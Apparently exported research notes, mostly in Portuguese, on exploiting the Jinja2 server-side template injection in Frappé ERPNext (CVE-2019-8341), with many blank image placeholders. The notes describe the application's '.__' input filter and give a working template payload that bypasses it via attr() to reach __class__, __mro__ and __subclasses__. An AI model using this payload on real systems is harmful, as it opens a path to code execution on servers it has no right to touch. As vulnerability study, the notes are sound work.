Frappé Technologies ERPNext Server Side Template Injection

CVE-2019-8341 | SSTI Jinja2 2.10


Identify

Untitled

Untitled

Untitled

Sucesso ao enviar uma operação lógica (POC)

Untitled

Untitled

Aplicação Retorna erro ao tentar verificar classes

Bypass Filter (.__)

White Box Analysis

Untitled

/home/frappe/frappe-bench/apps/frappe/frappe/email/dopctype/email_template/email_template.py

Untitled

Aplicação possui um filtro no input, validando se foi enviado com “.__”, assim não permitindo navegar entre as classes

Aplicação possui um filtro no input, validando se foi enviado com “.__”, assim não permitindo navegar entre as classes

# Bypass .__ w/ attr() 
# Necessita criar variaveis para armazenar __nome__, e posteriormente chamar pelo attr
{% set class = "__class__"%}
{% set subclasses = "__subclasses__"%} # Lista de subclasses
{% set mro = "__mro__"%} 

# () = classe criada (Tupla Vazia)
{{()|attr(class)}} # ().__class__
{{()|attr(class)|attr(mro)}} # ().__class__.__mro__
{{()|attr(class)|attr(mro)[1]|attr(subclasses)()}} # ().__class__.__mro__[1].__subclasses__()

Untitled

Untitled

Sucesso, a aplicação retornou o tipo do valor da classe criada, no caso, “str” → “ssti”

Sucesso, a aplicação retornou o tipo do valor da classe criada, no caso, “str” → “ssti”

Classe armazenando uma string

Classe armazenando uma string